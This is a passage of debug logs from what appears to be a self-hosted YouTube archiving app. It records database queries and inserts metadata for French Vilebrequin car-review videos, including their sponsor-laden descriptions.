=> "not_live", "original_url" => "https://www.youtube.com/watch?v=d3t6QXY-1vg", "playlist_index" => 15, "timestamp" => 1690474501, "title" => "Essai Citroën C6 : Pas mal non ? C'est Français", "upload_date" => "20230727"} 07:41:49.943 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1460.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:49.944 [debug] QUERY OK source="sources" db=1.0ms idle=1462.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:49.949 [debug] QUERY OK source="media_items" db=3.8ms idle=1463.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 16:15:01Z], 1] 07:41:50.027 [debug] QUERY OK source="media_items" db=77.5ms idle=925.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "630066f3-79e7-42ca-93b2-0700eda9e61b", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", 15, "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, false, false, 1, [], 98, ~U[2023-07-27 16:15:01Z], ~U[2026-04-19 05:41:49Z], ~U[2026-04-19 05:41:49Z], "Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, 1, ~U[2023-07-27 16:15:01Z]] 07:41:50.029 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=837.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:50.030 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=86.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:50.031 [debug] QUERY OK source="media_items" db=0.6ms idle=86.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 07:41:50.032 [debug] Current batch of media processed. Will check again in 1000ms 07:41:51.033 [debug] Current batch of media processed. Will check again in 1000ms 07:41:52.034 [debug] Current batch of media processed. Will check again in 1000ms 07:41:53.035 [debug] Current batch of media processed. Will check again in 1000ms 07:41:54.036 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "duration" => 1865, "filename" => "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", "id" => "YmAToqpmkv8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YmAToqpmkv8", "playlist_index" => 16, "timestamp" => 1689869701, "title" => "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "upload_date" => "20230720"} 07:41:54.038 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=555.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:54.040 [debug] QUERY OK source="sources" db=0.9ms queue=0.6ms idle=557.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:54.046 [debug] QUERY OK source="media_items" db=4.9ms queue=0.1ms idle=559.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 16:15:01Z], 1] 07:41:54.277 [debug] QUERY OK source="media_items" db=230.2ms queue=0.1ms idle=565.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "bf04150a-ff4e-4d0e-b393-83edf1a88b56", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", 16, "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, false, false, 1, [], 98, ~U[2023-07-20 16:15:01Z], ~U[2026-04-19 05:41:54Z], ~U[2026-04-19 05:41:54Z], "Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, 1, ~U[2023-07-20 16:15:01Z]] 07:41:54.278 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=239.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:54.279 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=238.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:54.281 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=234.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 07:41:54.281 [debug] Current batch of media processed. Will check again in 1000ms 07:41:55.285 [debug] Current batch of media processed. Will check again in 1000ms 07:41:56.286 [debug] Current batch of media processed. Will check again in 1000ms 07:41:57.287 [debug] Current batch of media processed. Will check again in 1000ms 07:41:58.288 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "duration" => 1558, "filename" => "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", "id" => "8IfCOzSIvKE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8IfCOzSIvKE", "playlist_index" => 17, "timestamp" => 1689264900, "title" => "Essai Porsche Boxster S : La Porsche du pauvre ?", "upload_date" => "20230713"} 07:41:58.290 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=807.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:58.291 [debug] QUERY OK source="sources" db=0.8ms queue=0.4ms idle=809.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:58.296 [debug] QUERY OK source="media_items" db=4.2ms idle=810.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 16:15:00Z], 1] 07:41:58.356 [debug] QUERY OK source="media_items" db=58.5ms idle=815.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "cac486ab-aaae-4c20-a939-a09d2cac0ba5", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", 17, "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, false, false, 1, [], 98, ~U[2023-07-13 16:15:00Z], ~U[2026-04-19 05:41:58Z], ~U[2026-04-19 05:41:58Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez 